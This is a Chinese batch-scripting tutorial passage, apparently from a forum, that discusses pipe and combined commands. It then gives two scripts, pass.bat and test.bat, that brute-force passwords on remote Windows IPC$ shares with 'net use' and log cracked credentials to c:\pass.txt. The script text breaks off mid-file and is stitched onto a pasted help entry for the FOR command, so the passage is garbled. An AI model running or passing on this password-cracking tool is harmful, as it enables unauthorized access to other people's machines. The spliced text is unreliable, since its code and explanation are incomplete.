警告:患有心脑血管病的朋友请不要研究以上两例, 否则轻者头大如斗, 重者血管爆裂。 任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责, 与本人和本论坛无关。 特此警告!
有关管道命令和组合命令就大概介绍到这里了, 不知道聪明的你是否理解?呵呵, 能理解就成天才了, 除非你以前就已经掌握!千万别小看了这几个鬼命令, 大棒槌是我的说, 简直就不是人学的东西!但我还是静下心来研究了一番, 最后得出的结论如上所述, 已经一点不剩的交给你了, 希望你好好收藏并消化吸收, 当然有错误被你发现了, 或者不完整的地方被你看出来了, 请赶紧告诉我一声!
这几个命令真的把我的头都搞大了。 在网上有一篇流传很广的批处理教程:“简明批处理教程”, 虽然说的比较全面, 但看起来很不过瘾。 在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么, 毕竟我连for /?都没给出), 而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。 我之所以花整整一章来讲管道命令和组合命令, 是因为他们才是批处理的精华和灵魂, 能否正确利用好这几个命令, 是能否掌握批处理的前提条件。 如for、set等DOS命令的问题, 可以从DOS的角度出发专门有针对性的学习, 但有关这几个命令的问题, 却是不容易精通掌握的----他们之间的关系太复杂了!
将下列代码存为bat文件
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名
密码破解出来之后, 存放于c:\pass.txt文件里面。
将下列代码存为pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:\pass.txt
echo ------------------------------------------------------------------- >>c:\pass.txt
date /t >>c:\pass.txt
time /t >>c:\pass.txt
echo 破解结果: >>c:\pass.txt
if "%6"=="1" goto 大棒槌是我的说2
:大棒槌是我的说1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的说2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
将下列代码存为test.bat
net use \\%1\ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令执行返回结果, net use成功返回0, 失败返回2
:answer0
echo 远程主机:"%1" >>c:\pass.txt
echo 用 户:"%3" >>c:\pass.txt
echo 密 码:%2 >>c:\pass.txt
net use \\%1\ipc$ /delet
exit
:answer2
For
对一组文件中的每个文件运行指定的命令。
可以在批处理程序中或直接从命令提示符使用 for 命令。
要在批处理程序中使用 for 命令, 请使用以下语法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for, 请使用以下语法:
for %variable in (set) do command [command-parameters]
参数
%%variable 或 %variable
代表可替换的参数。 for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable), 直到此命令(在 command-parameters 中指定)处理所有的文件为止。 使用 %% variable 在批处理程序中执行 for 命令。 使用 % variable 通过命令提示符执行 for 命令。 变量名区分大小写。
……